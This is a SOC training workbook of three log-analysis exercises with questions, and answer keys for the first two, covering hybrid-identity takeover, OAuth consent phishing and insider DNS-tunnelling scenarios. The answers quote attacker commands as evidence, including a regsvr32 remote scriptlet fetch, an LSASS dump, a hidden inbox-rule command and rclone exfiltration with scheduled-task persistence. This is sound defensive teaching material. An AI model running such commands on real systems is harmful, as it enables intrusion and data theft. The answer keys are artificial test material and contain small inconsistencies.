

**SOC LOG
ANALYSIS
EXERCISE WITH
MULTIPLE LOGS,
QUESTIONS &
ANSWERS**

BY IZZMIER IZZUDDIN

EXERCISE SET 1

	A	B	C	D	E	F	G	
1	time	event_id	event_name	host	account	source_ip	status	
2	2025-12-27T	4624	Logon Success	WS-HELP01.	CORP\helpd	91.214.88.23	SUCCESS	
3	2025-12-27T	4634	Logoff	FILESVR-06.	CORP\helpd	172.166.183.	SUCCESS	
4	2025-12-27T	4624	Logon Success	SIEM-02.corp	CORP\it.sup	172.19.148.9	SUCCESS	
5	2025-12-27T	4625	Logon Failure	JUMP-ADMC	CORP\sec.er	12.223.19.19	FAIL	
6	2025-12-27T	4769	Kerberos ST	AADCONNE	CORP\svc-b	192.168.77.6	SUCCESS	
7	2025-12-27T	4768	Kerberos TG	AADCONNE	CORP\financ	172.21.4.58	SUCCESS	
8	2025-12-27T	4697	Service Insta	SIEM-02.corp	CORP\cloud.	172.19.184.8	SUCCESS	
9	2025-12-27T	4624	Logon Success	AADCONNE	CORP\svc-a	10.50.12.34	SUCCESS	
10	2025-12-27T	4672	Special Privil	WS-HELP01.	CORP\sec.er	192.168.98.2	SUCCESS	
11	2025-12-27T	5140	Share Access	DC-04.corp.l	CORP\svc-a	202.168.249.	SUCCESS	
12	2025-12-27T	4625	Logon Failure	WS-HELP02.	CORP\sec.er	169.67.38.23	FAIL	
13	2025-12-27T	4688	Process Cre	WS-HELP01.	CORP\helpd	91.214.88.23	SUCCESS	
14	2025-12-27T	5140	Share Access	JUMP-ADMC	CORP\helpd	10.50.187.13	SUCCESS	

SOC LOG ANALYSIS EXERCISE — SET 1

Log Sources

- windows_security
- entra_signin
- entra_audit
- edr_process_create
- edr_network
- dns_logs
- ndr_alerts

SECTION 1 — INITIAL DETECTION & FIRST SUSPICION

1. Identify the earliest high-confidence malicious activity in the environment.
 - Host
 - User
 - Log source
 - Why this is not normal user behaviour
2. Which single event most strongly indicates initial access, not lateral movement or post-exploitation?
3. Why is a helpdesk workstation a high-risk initial access target in a hybrid identity environment?

SECTION 2 — MALICIOUS EXECUTION & LOLBIN ABUSE

4. Identify suspicious process execution chains related to LOLBins.
 - Executables
 - Command lines
 - Parent processes
5. Why is regsvr32.exe executing a remote .sct file a red flag?
6. What defensive controls typically fail when LOLBins are abused successfully?

SECTION 3 — CREDENTIAL ACCESS & AUTHENTICATION ABUSE

7. Identify evidence of NTLM authentication abuse or relay.
 - Event IDs
 - Source host
 - Target system
8. Why is NTLM activity from a helpdesk workstation towards a Domain Controller suspicious?
9. What indicators suggest credential harvesting or relay, not simple authentication failure?

SECTION 4 — PRIVILEGE ESCALATION IN ACTIVE DIRECTORY

10. Identify all evidence of privilege escalation in on-prem AD.
 - Event IDs
 - Accounts added
 - Groups affected
11. Why is adding accounts to groups like:
 - Domain Admins
 - Enterprise Adminsconsidered a point-of-no-return moment?
12. Which account was used as the pivot identity for further escalation?

SECTION 5 — AAD CONNECT SERVER COMPROMISE

13. Identify logs that prove AAD Connect server compromise.
 - Hosts
 - Accounts
 - Actions performed
14. Why is accessing:
 - ADSync configuration
 - ADSync database
 - LSASS on AAD Connectconsidered critical severity?
15. Explain how compromising AAD Connect enables cloud identity takeover even if cloud MFA is enabled.

SECTION 6 — CLOUD IDENTITY PIVOT (ENTRA ID)

16. Identify evidence of unauthorised Entra ID account creation.
 - Account name
 - Actor
 - Log source
17. Which log entries confirm Global Administrator role assignment?
18. Why is creating a new Global Admin more dangerous than compromising an existing user account?

SECTION 7 — MFA & CONDITIONAL ACCESS BYPASS

19. Identify evidence that MFA protections were weakened or disabled.
 - Which account(s)?
 - Which operation?
20. Why is disabling MFA during an incident a guaranteed escalation condition?
21. What Entra ID design weakness does this expose?

SECTION 8 — CLOUD PERSISTENCE MECHANISMS

22. Identify evidence of cloud persistence.
 - Inbox rules
 - OAuth / application permissions
 - Delegated permissions
23. Why is an inbox rule that forwards finance emails externally considered:
 - Persistence
 - Data exfiltration
 - Business impact
24. What makes inbox rules difficult for SOC teams to detect?

SECTION 9 — GRAPH & CLOUD API ABUSE

25. Identify evidence of Microsoft Graph abuse.
 - User
 - Application
 - Access patterns
26. Why is Graph abuse often missed by traditional SOC monitoring?
27. What data types could be accessed using the permissions seen in this exercise?

SECTION 10 — NETWORK & DNS CORRELATION

28. Identify malicious external infrastructure used in this attack.
 - Domains
 - IPs

- 29. Which hosts resolved or connected to these domains?
- 30. Why is DNS visibility critical in hybrid identity attacks?

SECTION 11 — TIMELINE RECONSTRUCTION

- 31. Reconstruct the full end-to-end attack timeline, from initial access to cloud persistence.
- 32. At which point did the attacker:
 - Gain domain-level control?
 - Gain cloud-level control?
- 33. Identify the exact moment the incident should have been declared a major security incident.

SECTION 12 — SOC RESPONSE & DECISION MAKING

- 34. What should the L1 analyst have escalated immediately and why?
- 35. What actions should the L2/L3 analyst take within the first 30 minutes?
- 36. Which systems must be isolated first and why?

SECTION 13 — CONTAINMENT & ERADICATION

- 37. List **immediate containment actions** across:
 - On-prem AD
 - AAD Connect
 - Entra ID
 - Endpoints
 - Network
- 38. Why must AAD Connect be treated as a Tier-0 asset?
- 39. What actions must be coordinated with identity, cloud and business teams?

SECTION 14 — ROOT CAUSE & CONTROL FAILURE

- 40. What was the initial control failure that enabled this attack?
- 41. Which security assumption about hybrid identity environments proved false?
- 42. What single detection control could have significantly reduced dwell time?

SECTION 15 — REPORTING & LESSONS LEARNED

- 43. Write a 2–3 sentence executive summary explaining how a helpdesk compromise led to cloud takeover.
- 44. Write a technical SOC handover note for the next shift.
- 45. List three long-term improvements required to prevent a repeat of this incident.

FULL ANSWERS — SOC LOG ANALYSIS EXERCISE (SET 1)

SECTION 1 — INITIAL DETECTION & FIRST SUSPICION

1. Earliest high-confidence malicious activity

Answer

- Host: WS-HELP01.corp.local
- User: CORP\helpdesk.l1
- Log source: windows_security, edr_process_create
- Evidence:
 - rundll32.exe shell32.dll,Control_RunDLL invoice.iso
 - regsvr32.exe /i:https://cdn-hr-docs.com/payload.sct scrobj.dll

Why malicious

- Helpdesk users do not mount ISO files from email
- regsvr32 loading remote scriptlets is a known LOLBin execution technique
- This bypasses application allow-listing

2. Event proving initial access

Answer

regsvr32.exe executing a remote .sct file from cdn-hr-docs.com

This is initial code execution, not lateral movement or post-exploitation.

3. Why helpdesk is a high-risk target

Because helpdesk users typically:

- Have local admin rights
- Reset passwords
- Access privileged systems
- Are trusted for IT workflows

This makes them ideal pivot identities.

SECTION 2 — LOLBIN ABUSE

4. Suspicious execution chains

Observed executables

- rundll32.exe
- regsvr32.exe
- powershell.exe -enc
- cmd.exe reconnaissance

Parent process

- explorer.exe (user-initiated execution)

Conclusion

This is user-triggered malicious execution, not background system activity.

5. Why regsvr32 remote SCT is a red flag

Because it:

- Executes code without writing an EXE
- Bypasses application control
- Is frequently used in phishing campaigns
- Rarely used legitimately in modern environments

6. Controls that fail during LOLBin abuse

- Signature-based AV
- Basic application allow-listing
- File-based detection

Only behavioural EDR or command-line logging catches this.

SECTION 3 — CREDENTIAL ACCESS & NTLM ABUSE

7. Evidence of NTLM relay

Log source: windows_security

- Event ID: 4776
- Source: WS-HELP01
- Target: DC-03
- Pattern: repeated NTLM authentication attempts

8. Why NTLM to DC is suspicious

Because:

- Kerberos is default in domain environments
- NTLM suggests:
 - Legacy auth
 - Relay attacks
 - Credential interception

9. Indicators of credential abuse

- NTLM auth from non-admin workstation
- Followed by:
 - Privileged logons
 - Group membership changes
 - Admin host access

This shows successful relay or credential capture.

SECTION 4 — ACTIVE DIRECTORY PRIVILEGE ESCALATION

10. Evidence of AD escalation

Event IDs

- 4728 – Added to Domain Admins
- 4732 – Added to privileged local group
- 4720 – New user created

Accounts

- cloud.ops
- svc-aadconnect
- temp.syncadmin

11. Why Domain Admin is point-of-no-return

Because:

- Full AD control
- Access to all credentials
- Ability to tamper with identity infrastructure
- Enables cloud takeover via AAD Connect

12. Pivot identity

Answer: cloud.ops

This account bridges:

- On-prem AD
- Cloud administration
- AAD Connect access

SECTION 5 — AAD CONNECT COMPROMISE

13. Proof of AAD Connect compromise

Host

- AADCONNECT-01.corp.local

Evidence

- Export-ADSyncServerConfiguration
- sqlcmd against ADSync DB
- procdump lsass.exe
- Share access to Azure AD Sync directories

14. Why this is critical severity

AAD Connect:

- Synchronises identities
- Stores credentials / secrets
- Can write to Entra ID

Compromise = cloud identity breach, even without cloud creds.

15. How AAD Connect bypasses cloud MFA

Because:

- Sync account operates below MFA
- Writes identities directly
- Can create or modify cloud users
- MFA applies to interactive sign-ins, not sync pipelines

SECTION 6 — ENTRA ID PIVOT

16. Unauthorised account creation

Account: temp.syncadmin@corp.local

Log: entra_audit

Operation: Add user

17. Global Admin assignment

Operation: Add member to role

Target: Global Administrator

Actor: cloud.ops / temp.syncadmin

18. Why new Global Admin is worse

Because:

- Clean history
- No alerts attached
- Harder to detect
- Can survive credential resets

SECTION 7 — MFA & CONDITIONAL ACCESS BYPASS

19. MFA weakened

Operation: Disable MFA

Accounts:

- cloud.ops
- temp.syncadmin

20. Why MFA disablement is escalation trigger

It signals:

- Attacker persistence
- Intent to maintain access
- Preparation for long-term control

21. Exposed Entra ID weakness

- No approval for MFA changes
- No alerting on privileged MFA removal
- Lack of Tier-0 identity separation

SECTION 8 — CLOUD PERSISTENCE

22. Persistence mechanisms

- Inbox rule: InvoiceSync
- OAuth delegated permissions
- App consent grants

23. Why inbox rule is severe

Because it:

- Exfiltrates financial data
- Hides evidence
- Persists even after password resets

24. Why inbox rules are hard to detect

- Stored per mailbox
- Often excluded from SIEM
- Seen as “user preference”

SECTION 9 — GRAPH ABUSE

25. Evidence of Graph abuse

User: temp.syncadmin

Apps: Microsoft Graph

Patterns: bulk enumeration, file/mail access

26. Why SOC's miss Graph abuse

- Encrypted HTTPS
- Legit Microsoft endpoints
- Requires API-level monitoring

27. Data exposed

- Emails
- Files (OneDrive / SharePoint)
- User directory
- Mailbox metadata

SECTION 10 — NETWORK & DNS

28. Malicious infrastructure

Domain

- cdn-hr-docs.com

IPs

- 104.21.11.55
- 172.67.152.10

29. Hosts connecting

- WS-HELP01
- WS-HELP02
- AADCONNECT-01

30. Why DNS is critical

DNS shows:

- Early C2
- Payload staging
- Infrastructure reuse

Often earlier than HTTP logs.

SECTION 11 — TIMELINE

31. Full timeline

1. Phishing ISO delivered
2. Helpdesk executes ISO
3. regsvr32 loads remote payload
4. NTLM relay to DC
5. Domain Admin granted
6. AAD Connect accessed
7. Sync secrets extracted
8. temp.syncadmin created
9. Global Admin assigned
10. MFA disabled
11. Inbox rule created
12. Graph abused

32. Control milestones

- Domain control: AD group modification
- Cloud control: Global Admin assignment

33. Major incident declaration point

At AAD Connect compromise, not ransomware or data theft.

SECTION 12 — SOC RESPONSE

34. L1 escalation

- regsvr32 remote execution
- NTLM relay to DC
- Privileged group change

Any one of these is escalation-worthy.

35. L2/L3 actions (first 30 minutes)

- Isolate helpdesk workstation
- Disable compromised accounts
- Freeze AAD Connect
- Preserve logs and memory

36. Systems to isolate first

1. AADCONNECT servers
2. Domain Controllers
3. Privileged admin workstations

SECTION 13 — CONTAINMENT

37. Immediate containment

AD

- Remove malicious group members
- Reset privileged creds

AAD Connect

- Disable sync

- Rebuild server

Entra ID

- Remove Global Admin
- Re-enable MFA
- Revoke tokens

Endpoints

- Reimage WS-HELP01

Network

- Block attacker domains

38. Why AAD Connect is Tier-0

Because it controls:

- Identity trust boundary
- Cloud write-back
- Authentication authority

39. Required coordination

- Identity team
- Cloud team
- Finance / Legal
- Executive leadership

SECTION 14 — ROOT CAUSE

40. Initial failure

- Poor helpdesk hardening
- LOLBin execution allowed

41. False assumption

“That cloud and on-prem identities are separate.”

They are not.

42. Key missing detection

Alert on:

- regsvr32 remote SCT
- AAD Connect admin activity
- New Global Admin creation

SECTION 15 — REPORTING

43. Executive summary

A compromised helpdesk workstation led to on-prem Active Directory escalation and subsequent takeover of Entra ID via AAD Connect. The attacker created a new Global Administrator account, disabled MFA and established cloud persistence, resulting in full identity compromise across hybrid infrastructure.

44. SOC handover note

Initial access occurred on WS-HELP01 via malicious ISO and LOLBin execution. Privilege escalation followed through NTLM relay and AD group modification. AAD Connect was compromised, enabling cloud admin creation and MFA bypass. Immediate focus is identity containment, AAD Connect rebuild and tenant-wide credential reset.

45. Long-term improvements

1. Tier-0 isolation for AAD Connect
2. Alerting on identity plane changes
3. Strict helpdesk execution controls

EXERCISE SET 2

	A	B	C	D	E	F	G	
1	event_time	event_id	event_name	host	username	source_ip	destination_ip	
2	2025-11-18T	4625	Logon Failure	LAPTOP-OP	CORP\ceo.a	10.10.37.211	172.17.109.1	
3	2025-11-18T	4624	Logon Success	PROXY-02.c	CORP\svc-o	10.10.23.143	172.29.73.13	
4	2025-11-18T	4624	Logon Success	LAPTOP-HR	CORP\ceo.a	10.10.30.159	192.168.218.	
5	2025-11-18T	4624	Logon Success	VDI-SEC01.c	CORP\hr.use	45.155.205.8	10.10.60.132	
6	2025-11-18T	4768	TGT Request	MAILGW-01.	CORP\svc-o	172.18.47.24	192.168.33.1	
7	2025-11-18T	4625	Logon Failure	VDI-SEC01.c	CORP\svc-re	172.27.86.15	10.10.111.19	
8	2025-11-18T	4768	TGT Request	PROXY-02.c	CORP\it.sup	10.10.220.22	192.168.212.	
9	2025-11-18T	4768	TGT Request	LAPTOP-OP	CORP\ops.u	4.248.93.68	10.10.214.13	
10	2025-11-18T	4625	Logon Failure	FILESVR-03.	CORP\it.sup	101.203.204.	192.168.205.	
11	2025-11-18T	4625	Logon Failure	LAPTOP-HR	CORP\hr.use	192.168.51.2	10.10.36.224	
12	2025-11-18T	4624	Logon Success	MAILGW-01.	CORP\mkt.u	120.245.247.	10.10.175.19	
13	2025-11-18T	4625	Logon Failure	LAPTOP-OP	CORP\ceo.a	7.152.46.179	192.168.187.	
14	2025-11-18T	4624	Logon Success	LAPTOP-OP	CORP\mkt.u	190.116.102.	192.168.14.2	

SOC LOG ANALYSIS EXERCISE — SET 2

Log Sources:

- auth_events
- edr_process_create
- edr_network
- edr_file_create

SECTION 1 — SIGNAL TRIAGE (WHAT MATTERS FIRST)

1. You have 15 minutes left on shift.
Which single event in the dataset do you investigate first?
 - Sheet name
 - Timestamp
 - Host
 - User
 - Why this signal beats all others
2. Identify 3 high-volume noisy activities that should not be escalated.
 - Why would junior analysts wrongly escalate them?
 - What context downgrades their risk?
3. Which log source provides the earliest reliable signal of compromise?
 - Why are the other sources insufficient at that point?
4. Identify two events that look benign individually but become suspicious when correlated.

SECTION 2 — IDENTITY, AUTHENTICATION & TOKEN ABUSE

5. Which user account is the most likely initial victim?
 - Evidence from authentication + endpoint + network logs
6. Are there signs of OAuth / delegated access abuse?
 - What log indicators suggest token-based access rather than password compromise?
7. Identify authentication patterns that would bypass MFA.
 - Why would MFA not protect against this attack path?
8. Is there evidence of impossible travel, abnormal source IPs or unusual login timing?
 - Provide examples and reasoning.

SECTION 3 — ENDPOINT & PROCESS ANALYSIS

9. Identify browser-initiated activity that should concern a SOC analyst.
 - Why is browser context important here?
10. Which PowerShell executions are legitimate administration and which are suspicious?
 - Quote full command lines.
 - Explain the difference.
11. Identify persistence mechanisms on endpoints or servers.
 - What evidence confirms persistence?
12. Which process should never normally run on a file server?
 - Why is this a red flag?

SECTION 4 — CLOUD & MAILBOX ABUSE

13. Is there evidence of mailbox rule manipulation?
 - What exact command or action confirms it?
14. Why is mailbox rule abuse more dangerous than simple mailbox access?
15. Which user would stop seeing warning emails as a result of this attack?
 - Explain the business impact.

SECTION 5 — NETWORK & DATA MOVEMENT

16. Identify API-style access patterns to Microsoft cloud services.

- Why is this different from interactive user browsing?

17. Which connections suggest bulk data access rather than normal usage?

- Evidence required.

18. Identify exfiltration infrastructure used by the attacker.

- Destination IPs/domains
- Ports
- Processes involved

19. Why would this exfiltration likely evade DLP in many organisations?

SECTION 6 — FILE SYSTEM & DATA SCOPE

20. Identify sensitive data locations accessed or staged.

- What type of data is at risk?

21. Which file artefacts indicate token caching or session artefacts?

- Why are these important?

22. Correlate file access → network transfer → process execution.

- Provide one complete chain.

SECTION 7 — TIMELINE & ATTACK STORY

23. Reconstruct the complete attack timeline, from:

- Initial user interaction
- Privilege/token abuse
- Persistence
- Data access
- Exfiltration

24. What is the true initial access vector and why would many SOC teams mislabel it?

25. Identify the earliest moment containment could have prevented data loss.

SECTION 8 — ATTACK CLASSIFICATION & FRAMEWORKS

26. Map this incident to MITRE ATT&CK techniques (minimum 6).

- Include technique IDs.

27. Is this attack low-effort phishing or post-exploitation cloud abuse?

- Justify your answer.

28. Which phase represents the highest business impact?

- Explain in non-technical terms.

SECTION 9 — SOC DECISION MAKING (REALITY MODE)

29. At what point should the case be:

- L1 escalated
- L2 confirmed
- Declared a security incident

30. What immediate containment actions must be taken?

- Identity
- Endpoint
- Cloud
- Network

31. What evidence must be preserved before any destructive action?

SECTION 10 — ROOT CAUSE & HARDENING

32. Which control failed first?

- User awareness
- Identity governance
- Endpoint control
- Cloud security

33. What single detection rule would catch this attack earliest?

34. How would the attacker improve this attack next time?

SECTION 11 — COMMUNICATION & REPORTING

35. Write a 2–3 sentence executive summary suitable for management.

36. Write a technical handover summary for the next SOC shift.

37. Should this incident trigger:

- Regulatory notification?
 - Internal audit review?
 - Third-party risk assessment?
- Explain.

FULL ANSWERS — SOC LOG ANALYSIS EXERCISE (SET 2)

SECTION 1 — SIGNAL TRIAGE

1. Single event to investigate first

Answer:

The PowerShell mailbox rule creation executed by hr.user.

Evidence

- Sheet:edr_process_create
- Timestamp: 2025-11-18 ~09:3x
- Host: LAPTOP-HR03.corp.local
- User: CORP\hr.user
- Command:

```
powershell.exe -NoProfile -WindowStyle Hidden -Command  
Import-Module ExchangeOnlineManagement;  
Connect-ExchangeOnline -ShowBanner:$false;  
New-InboxRule -Mailbox hr.user@corp.local  
-Name 'Payroll Sync'  
-From 'noreply@corp-payroll.com'  
-MoveToFolder 'RSS Subscriptions'  
-StopProcessingRules $true
```

Why this wins

- Non-interactive PowerShell modifying mailbox rules
- Indicates cloud persistence & defense evasion
- Happens before exfiltration
- Cannot be explained by normal HR user behaviour

This is confirmed malicious activity, not suspicious noise.

2. Three noisy but benign activities

Examples

1. onedrive.exe syncing files to Microsoft endpoints
 - Normal background behaviour
 - High volume ≠ malicious by default
2. teams.exe / outlook.exe network traffic
 - Regular SaaS traffic

- Analysts often escalate volume without context
3. Kerberos / NTLM success events (4624 / 4768) from internal IPs
- Routine authentication
 - No anomaly in timing or source

Training point:

Volume ≠ threat. Intent + rarity + sequence matters.

3. Earliest reliable signal

Answer: Process logs, not authentication.

Why:

- Auth logs do not show password compromise
- Token-based access does not generate failures
- Process logs expose abuse of cloud management tooling

The first definitive malicious action is PowerShell cloud abuse, not login.

4. Benign alone, malicious when correlated

Pair 1

- msedge.exe OAuth URL → benign alone
- Followed by PowerShell Exchange Online commands → malicious

Pair 2

- rclone.exe on FILESVR-03 → benign backup tool
- Combined with HR payroll directory + external cloud → exfiltration

SECTION 2 — IDENTITY & TOKEN ABUSE

5. Initial victim

Answer: CORP\hr.user

Evidence

- OAuth authorisation via browser (msedge.exe)
- No brute force / password compromise
- PowerShell actions executed as hr.user
- Mailbox rules created for hr.user

This is user-consented compromise, not credential theft.

6. Evidence of OAuth / token abuse

Indicators

- No repeated auth failures
- Access to /oauth2/v2.0/token
- Microsoft Graph API usage (/v1.0/me/messages, /drive/root)
- PowerShell using ExchangeOnlineManagement module

Tokens allow:

- Silent access
- MFA bypass
- Long-lived persistence

7. Why MFA is bypassed

Answer:

OAuth delegated permissions do not require re-authentication once consented.

After consent:

- Refresh tokens grant ongoing access
- MFA is irrelevant unless token is revoked

This is why cloud-only attacks defeat traditional SOC thinking.

8. Abnormal login indicators

Answer:

Yes but subtle.

- Source IPs not previously associated with HR user
- Access timing outside normal HR working hours
- API-driven access instead of interactive sessions

No “impossible travel” this is stealthy.

SECTION 3 — ENDPOINT & PROCESS ANALYSIS

9. Browser-initiated concern

Answer: OAuth consent URL in Edge.

msedge.exe "https://login.microsoftonline.com/...scope=offline_access Mail.Read Files.Read.All"

Why critical:

- Browser ≠ harmless
- Permissions requested exceed normal HR needs
- Offline access enables persistence

10. Legit vs malicious PowerShell

Legitimate

- Short queries
- No cloud admin modules
- No identity manipulation

Malicious

- Connect-ExchangeOnline
- New-InboxRule
- Hidden execution
- Automation context

11. Persistence mechanisms

Two confirmed

1. Mailbox rule (cloud persistence)
2. Scheduled task on FILESVR-03:

```
schtasks /Create /TN "Microsoft\Office\OfficeTelemetry"  
/TR "C:\ProgramData\yclone\yclone.ps1"  
/SC HOURLY
```

This survives:

- Password resets
- Reboots
- Endpoint isolation (cloud side)

12. Process that should never run on file server

Answer: rclone.exe

Why:

- FILESVR-03 hosts HR payroll data
- rclone is not standard enterprise tooling
- Used with external cloud destination

This is exfiltration tooling.

SECTION 4 — CLOUD & MAILBOX ABUSE

13. Mailbox rule evidence

Confirmed via

New-InboxRule -Mailbox hr.user@corp.local

Rule behaviour:

- Hides payroll-related emails
- Prevents user seeing alerts
- Enables attacker stealth

14. Why mailbox rule abuse is dangerous

Because it:

- Suppresses security notifications
- Hides sign-in alerts
- Enables long-term compromise without user awareness

This is defense evasion, not just access.

15. Who stops seeing warnings

Answer: hr.user

Impact:

- User unaware of breach
- Payroll alerts hidden
- Delayed detection

SECTION 5 — NETWORK & DATA MOVEMENT

16. API-style access indicators

- /oauth2/v2.0/token
- /v1.0/me/drive/root
- /v1.0/me/messages

Why important:

- Indicates programmatic abuse
- Not normal browsing behaviour

17. Bulk data access indicators

- Repeated Graph API calls
- Large byte counts
- File server outbound transfers
- rclone sync patterns

18. Exfiltration infrastructure

Evidence

- Destinations:
 - 185.193.127.19
 - 104.243.41.77
- Process: rclone.exe
- Ports: 80, 443
- Protocol: TCP

These are non-corporate cloud endpoints.

19. Why DLP likely fails

Because:

- Uses legitimate tools
- Encrypted channels
- Cloud-to-cloud transfer
- No email attachment or USB activity

SECTION 6 — FILE SYSTEM & DATA SCOPE

20. Sensitive data accessed

Directory

D:\Shares\HR\Payroll\

Contains:

- Salary
- Bank details
- Tax data
- PII

High regulatory impact

21. Token/session artefacts

Examples

- OAuthCache.bin
- token_cache.dat
- msgraph.tmp

These confirm:

- Token-based persistence
- Not password-based attack

22. Full chain example

1. OAuth consent via Edge
2. Token cached locally
3. PowerShell connects to Exchange Online
4. Mailbox rule created
5. rclone scheduled
6. Payroll share synced externally

This is end-to-end compromise.

SECTION 7 — TIMELINE

23. Complete attack timeline (summary)

1. HR user consents OAuth permissions
2. Attacker gains refresh token
3. Graph & Exchange access established

4. Mailbox rules hide evidence
5. File server accessed
6. Payroll data synced externally
7. Persistence via scheduled task

24. True initial access vector

Answer: OAuth consent phishing

Why SOC's mislabel:

- No malware
- No password theft
- No alerts fire

25. Earliest containment point

Answer:

Immediately after mailbox rule creation.

If stopped there:

- Data exfiltration prevented
- Impact limited

SECTION 8 — MITRE ATT&CK

26. MITRE Mapping

- T1566 – Phishing
- T1528 – Token Impersonation
- T1098 – Account Manipulation
- T1114 – Email Collection
- T1053.005 – Scheduled Task
- T1567 – Exfiltration to Cloud Storage

27. Attack classification

Answer: Post-exploitation cloud abuse

This is not low-effort phishing it's identity-driven.

28. Highest business impact phase

Answer: Payroll data exfiltration

Because:

- Regulatory breach
- Financial exposure
- Reputation damage

SECTION 9 — SOC DECISIONS

29. Escalation points

- L1 escalate: Mailbox rule detection
- L2 confirm: rclone execution
- Incident: External payroll sync observed

30. Immediate containment

Identity

- Revoke OAuth tokens
- Disable hr.user
- Reset credentials

Cloud

- Remove mailbox rules
- Audit app registrations

Endpoint

- Isolate FILESVR-03
- Remove scheduled tasks

Network

- Block external endpoints

31. Evidence to preserve

- OAuth consent logs
- PowerShell command history
- rclone config/logs
- File access logs

- Network flow records

SECTION 10 — ROOT CAUSE

32. First failed control

Answer: Identity governance & OAuth permission control

33. Single best detection rule

Answer:

Alert on New-InboxRule executed via PowerShell combined with non-admin user context.

34. Attacker improvements

- Use legitimate Azure apps
- Throttle API usage
- Blend with OneDrive traffic
- Time-delay exfiltration

SECTION 11 — REPORTING

35. Executive summary

On 18 November 2025, an HR user account was compromised through OAuth consent phishing, granting attackers token-based access to email and files without triggering authentication failures. The attacker established persistence via mailbox rule manipulation and used automated tooling to exfiltrate payroll data from a file server to external cloud storage. Immediate containment actions are required due to the exposure of sensitive employee information.

36. Technical handover summary

The hr.user account granted OAuth permissions via browser interaction, enabling token-based access to Exchange Online and Microsoft Graph. PowerShell was used to create a mailbox rule suppressing payroll emails, followed by scheduled rc1one execution on FILESVR-03 to sync HR payroll data externally. Tokens must be revoked, mailbox rules removed and file server activity fully scoped.

37. Notification decision

Yes

- Regulatory review (PII exposure)

- Internal audit
- Identity governance assessment

EXERCISE SET 3

	A	B	C	D	E	F	G	
1	event_time	event_id	event_name	host	username	source_ip	destination_ip	
2	2025-12-03T	4624	Logon Success	SOAR-01.corp	CORP\vendc	192.168.97.4	172.21.48.11	
3	2025-12-03T	4624	Logon Success	SOAR-01.corp	CORP\db.ad	192.168.32.1	10.20.15.200	
4	2025-12-03T	4624	Logon Success	JUMP-ADMC	CORP\fraud.	45.61.136.90	216.42.130.8	
5	2025-12-03T	4624	Logon Success	BASTION-01	CORP\vendc	185.231.154.	172.18.101.2	
6	2025-12-03T	4625	Logon Failure	WS-FRAUD0	CORP\analys	172.21.96.11	192.168.67.1	
7	2025-12-03T	4768	TGT Request	WS-FRAUD0	CORP\it.sup	192.168.51.1	55.226.132.3	
8	2025-12-03T	4768	TGT Request	WS-FRAUD0	CORP\svc-b	172.20.247.2	172.21.78.80	
9	2025-12-03T	4624	Logon Success	NDR-SENSC	CORP\vendc	172.17.53.28	172.23.200.6	
10	2025-12-03T	4624	Logon Success	JUMP-ADMC	CORP\it.sup	192.168.37.7	10.20.8.18	
11	2025-12-03T	4624	Logon Success	JUMP-ADMC	CORP\fraud.	45.61.136.90	10.20.243.23	
12	2025-12-03T	4624	Logon Success	BASTION-01	CORP\fraud.	45.61.136.90	172.18.213.2	
13	2025-12-03T	4672	Special Privilege	NDR-SENSC	CORP\svc-b	192.168.234.	192.168.42.1	
14	2025-12-03T	4624	Logon Success	SOAR-01.corp	CORP\vendc	10.20.188.78	192.168.103.	

SOC LOG ANALYSIS EXERCISE — SET 3

Log Sources

- auth_events
- edr_process_create
- edr_file_create
- dns_logs
- edr_network
- ndr_alerts

SECTION 1 — INITIAL TRIAGE (SIGNAL VS NOISE)

1. You are the on-duty L1 analyst.
Which single event in the entire dataset must be investigated immediately?
 - Sheet name
 - Timestamp
 - Host
 - User
 - Why this event outranks all others
2. Identify three high-volume activities that appear suspicious at first glance but should not be escalated.
 - Why would junior analysts escalate them incorrectly?
 - What context downgrades them?

3. Which log source provides the first high-confidence indication of malicious behaviour?
 - Why do the other sources lag behind?
4. Identify two events that are benign alone but malicious when correlated.

SECTION 2 — IDENTITY, ACCESS & INSIDER BEHAVIOUR

5. Which user account is the primary focus of the investigation?
 - Evidence across auth + process + data access
6. Is this more likely:
 - a compromised account
 - or a malicious insider?

Justify your answer using behavioural indicators, not assumptions.
7. Identify evidence of privileged access usage.
 - Which event IDs confirm this?
 - Why does this change risk assessment?
8. Are there any signs of policy violations in how systems are accessed?
 - Jump hosts
 - Bastion usage
 - Access timing

SECTION 3 — ENDPOINT & COMMAND-LINE ANALYSIS

9. Identify all database access utilities used in the dataset.
 - Which usage is abnormal?
10. Examine the sqlcmd.exe executions.
 - What data is being queried?
 - Why is this query suspicious in a SOC context?
11. Identify evidence of data staging on endpoints or servers.
 - Files
 - Locations
 - Sequence
12. Which compression or encryption utilities are used?
 - Why does password protection matter?

SECTION 4 — DATA TRANSFORMATION & OBFUSCATION

13. Identify evidence of data encoding or transformation.
 - Which tool was used?
 - Why would an attacker do this before exfiltration?
14. Why is Base64 staging commonly used in covert exfiltration cases?
15. Identify artefacts that would not exist in normal DB operations.

SECTION 5 — DNS LOG ANALYSIS (CRITICAL SECTION)

16. Identify DNS queries that clearly deviate from normal behaviour.
 - Domain
 - Query length
 - Query type
17. What indicators suggest DNS tunnelling rather than benign DNS failures?
18. Why is a high NXDOMAIN rate significant in this case?
19. Identify the host most likely generating the DNS tunnel.
 - Evidence required.

SECTION 6 — NETWORK & NDR CORRELATION

20. Correlate DNS activity with NDR alerts.
 - Which alerts support your hypothesis?
 - In what order do they appear?
21. Identify outbound traffic that appears low-risk individually but high-risk in context.
22. Why does outbound TLS traffic to a “CDN-like” domain raise concern here?
23. Which process is responsible for the final data exfiltration stage?

SECTION 7 — TIMELINE RECONSTRUCTION

24. Reconstruct the full attack timeline, including:
 - Initial access
 - Privileged activity
 - Data extraction
 - Staging
 - Exfiltration
 - Persistence
25. Identify the true starting point of the incident.
 - Why might SOC teams miss it?
26. At what point did the activity cross from policy violation to security incident?

SECTION 8 — ATTACK CLASSIFICATION & FRAMEWORKS

27. Map this activity to MITRE ATT&CK techniques (minimum 7).
 - Include technique IDs.
28. Which tactic represents the highest business risk?
 - Explain in non-technical language.
29. Why is this attack harder to detect than malware-based intrusions?

SECTION 9 — SOC DECISION-MAKING

30. At which event should the case be:
 - Escalated from L1 to L2
 - Declared a confirmed incident

31. What immediate containment actions must be taken?

- Identity
- Endpoint
- Database
- Network
- DNS

32. What actions must NOT be taken immediately?

- Why?

SECTION 10 — EVIDENCE HANDLING & FORENSICS

33. What evidence must be preserved before containment?

- List at least 6 artefacts.

34. Which logs are most at risk of being destroyed if containment is mishandled?

SECTION 11 — ROOT CAUSE & PREVENTION

35. What control failed first?

- Access governance
- Monitoring
- Segregation of duties
- Data protection

36. What single detection rule would have identified this earlier?

37. How could the attacker make this attack stealthier next time?

